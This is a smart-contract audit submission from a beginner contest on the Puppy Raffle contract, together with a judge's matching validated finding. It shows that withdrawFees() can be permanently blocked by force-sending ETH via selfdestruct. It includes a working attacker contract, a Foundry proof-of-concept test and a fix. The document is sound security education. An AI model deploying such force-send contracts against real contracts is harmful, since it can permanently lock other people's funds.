Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

withdrawFees() uses strict equality check that can be permanently bricked by force-sending ETH via selfdestruct

squashingbugs007

Root + Impact

Description

  • Normal behavior: withdrawFees() is intended to allow the owner to withdraw accumulated protocol fees only when there are no active players (i.e. the contract balance equals exactly the fees owed). The check address(this).balance == uint256(totalFees) is meant to prevent withdrawal while a raffle is in progress.

  • The issue: In Solidity, a contract's ETH balance can be forcibly increased without calling any function by using selfdestruct. When a contract self-destructs, it sends all its ETH to a target address — and the target contract's receive() or fallback() functions are NOT called. There is no way to reject this ETH.

  • An attacker can deploy a minimal contract funded with even 1 wei and call selfdestruct(payable(address(puppyRaffle))). This permanently increases address(this).balance by 1 wei, making it permanently unequal to totalFees. The strict equality check then always reverts, and the owner can never withdraw fees again — they are locked in the contract forever.

  • This is a well-known Solidity anti-pattern: using == instead of >= for balance checks.

// src/PuppyRaffle.sol#L158
// @> Strict equality — permanently breakable by force-sending 1 wei via selfdestruct
require(
address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);

Risk

Likelihood:

  • Any attacker can deploy a self-destructing contract and send 1 wei to PuppyRaffle at any time — no special permissions required.

The cost to execute this attack is negligible: one contract deployment + 1 wei + gas.

  • The attack is irreversible once executed — there is no recovery mechanism

Impact:

  • withdrawFees() is permanently bricked — the owner can never recover any accumulated protocol fees.

  • All future raffle rounds will also be unable to withdraw fees, making the protocol economically non-viable.

  • The locked fees grow with every raffle round but are permanently inaccessible

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
// Attacker deploys this contract with 1 wei
contract ForceEthSender {
constructor(address payable target) payable {
// selfdestruct bypasses receive()/fallback() — ETH is force-sent
selfdestruct(target);
}
}
​
// Attack execution (costs ~1 wei + gas):
// new ForceEthSender{value: 1}(payable(address(puppyRaffle)));
​
// After this:
// address(puppyRaffle).balance == totalFees + 1
// The strict equality check always fails
// puppyRaffle.withdrawFees() reverts forever
​
//Foundry test to confirm:
function testForceEthBricksWithdraw() public {
// Run a complete raffle to accumulate fees
address[] memory players = new address[](4);
for (uint i = 0; i < 4; i++) players[i] = address(uint160(i + 1));
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
// Confirm fees are withdrawable under normal conditions
uint256 fees = puppyRaffle.totalFees();
assertEq(address(puppyRaffle).balance, fees);
​
// Attacker force-sends 1 wei
ForceEthSender attacker = new ForceEthSender{value: 1}(payable(address(puppyRaffle)));
​
// Now balance != totalFees — withdrawal is permanently bricked
vm.prank(owner);
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommended Mitigation

Replace the strict equality check with a greater-than-or-equal check. This allows withdrawal whenever the balance covers the fees owed, regardless of any extra ETH force-sent to the contract:

This change ensures that any excess ETH force-sent to the contract does not prevent fee withdrawal. The excess ETH will remain in the contract but fees can always be recovered by the owner.

function withdrawFees() external onlyOwner {
- require(
- address(this).balance == uint256(totalFees),
- "PuppyRaffle: There are currently players active!"
- );
+ require(
+ address(this).balance >= uint256(totalFees),
+ "PuppyRaffle: There are currently players active!"
+ );
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!